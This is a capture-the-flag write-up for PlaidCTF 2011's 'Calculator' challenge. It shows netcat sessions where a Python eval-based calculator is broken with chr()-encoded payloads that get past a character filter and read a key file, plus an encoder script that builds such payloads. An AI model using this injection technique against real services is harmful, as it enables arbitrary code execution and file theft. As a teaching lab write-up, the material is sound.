Write-up - PlaidCTF 2011 - Calculator

by Jonathan Salwan and Axel "0vercl0k" Souchet - 2011-04-25

Description

AED's summer internship program is notorious for attracting terrible programmers. They've resorted to giving them some of the simplest projects to work on. We expect this service that the latest 'All-Star' intern worked on all summer is no where near secure.

We have a remote service calculation. Example:

jonathan@ArchLinux [/] $ nc a9.amalgamated.biz 60124
1 + 2 * 3
Welcome to the online calculator.  Please enter your expression below.
About to Calculate:
Calculating: 1 + 2 * 3
Equals: 7
jonathan@ArchLinux [/] $

The service is written in python.

jonathan@ArchLinux [/] $ nc a9.amalgamated.biz 60124
help()

Welcome to the online calculator.  Please enter your expression below.
About to Calculate:
Calculating: help()
Equals:
Welcome to Python 2.6!  This is the online help utility.

If this is your first time using Python, you should definitely check out
the tutorial on the Internet at http://docs.python.org/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules.  To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, or topics, type "modules",
"keywords", or "topics".  Each module also comes with a one-line summary
of what it does; to list the modules whose summaries contain a given word
such as "spam", type "modules spam".

help> 
You are now leaving help and returning to the Python interpreter.
If you want to ask for help on a particular object directly from the
interpreter, you can type "help(object)".  Executing "help('string')"
has the same effect as typing a particular string at the help> prompt.
None
jonathan@ArchLinux [/] $


jonathan@ArchLinux [/] $ nc a9.amalgamated.biz 60124
globals()
Welcome to the online calculator.  Please enter your expression below.
About to Calculate:
Calculating: globals()
Equals: {'__builtins__': , '__file__': '/home/calculator/calculator.py', 
'brokenSanitizeString': , '__package__': None, '__name__': 
'__main__', 'main': , '__doc__': None, 'calculator': }
jonathan@ArchLinux [/] $

Ok, so, the script launched is /home/calculator/calculator.py. The goal is to execute the python script and display the key.

Some characters are forbidden : ._/="' etc... We need to encode our string. We will send our string with chr() and executes it with eval().

For the first test we will just send import('os').write(1, 'salut') and see the answer.

jonathan@ArchLinux [/] $ nc a9.amalgamated.biz 60124
eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+
chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+
chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+chr(0x28)+chr(0x31)+
chr(0x2c)+chr(0x20)+chr(0x27)+chr(0x73)+chr(0x61)+chr(0x6c)+chr(0x75)+chr(0x74)+
chr(0x27)+chr(0x29))
salut
Welcome to the online calculator.  Please enter your expression below.
About to Calculate:
Calculating: eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+
chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+
chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+
chr(0x28)+chr(0x31)+chr(0x2c)+chr(0x20)+chr(0x27)+chr(0x73)+chr(0x61)+chr(0x6c)+
chr(0x75)+chr(0x74)+chr(0x27)+chr(0x29))
Equals: 5

W00t, the python script has beed executed and print "salut" in the socket. Now we need to display the key.

So, we send : import('os').write(1, open('/home/calculator/key').read())

jonathan@ArchLinux [/] $ nc a9.amalgamated.biz 60124
eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+
chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+
chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+chr(0x28)+chr(0x31)+
chr(0x2c)+chr(0x20)+chr(0x6f)+chr(0x70)+chr(0x65)+chr(0x6e)+chr(0x28)+chr(0x27)+
chr(0x2f)+chr(0x68)+chr(0x6f)+chr(0x6d)+chr(0x65)+chr(0x2f)+chr(0x63)+chr(0x61)+
chr(0x6c)+chr(0x63)+chr(0x75)+chr(0x6c)+chr(0x61)+chr(0x74)+chr(0x6f)+chr(0x72)+
chr(0x2f)+chr(0x6b)+chr(0x65)+chr(0x79)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x72)+
chr(0x65)+chr(0x61)+chr(0x64)+chr(0x28)+chr(0x29)+chr(0x29))
Y0_dawg,_I_he4rd_you_l1ke_EvA1
Welcome to the online calculator.  Please enter your expression below.
About to Calculate:
Calculating: eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+
chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+
chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+
chr(0x28)+chr(0x31)+chr(0x2c)+chr(0x20)+chr(0x6f)+chr(0x70)+chr(0x65)+chr(0x6e)+
chr(0x28)+chr(0x27)+chr(0x2f)+chr(0x68)+chr(0x6f)+chr(0x6d)+chr(0x65)+chr(0x2f)+
chr(0x63)+chr(0x61)+chr(0x6c)+chr(0x63)+chr(0x75)+chr(0x6c)+chr(0x61)+chr(0x74)+
chr(0x6f)+chr(0x72)+chr(0x2f)+chr(0x6b)+chr(0x65)+chr(0x79)+chr(0x27)+chr(0x29)+
chr(0x2e)+chr(0x72)+chr(0x65)+chr(0x61)+chr(0x64)+chr(0x28)+chr(0x29)+chr(0x29))
Equals: 31
jonathan@ArchLinux [/] $

W00t, The key is Y0_dawg,_I_he4rd_you_l1ke_EvA1

Below, the 0vercl0k's script to encode a string.

# -*- coding: utf-8 -*-
# By 0vercl0k

import sys

def main(argc, argv):
    code = "__import__('os').write(1, open('/home/calculator/key').read())"
    payload = 'eval('
    for i in range(len(code)):
        payload += "chr(0x%.2x)" % ord(code[i])
        if i+1 != len(code):
            payload += '+'
    payload += ')'
    print payload
    return 1

if __name__ == '__main__':
    sys.exit(main(len(sys.argv), sys.argv))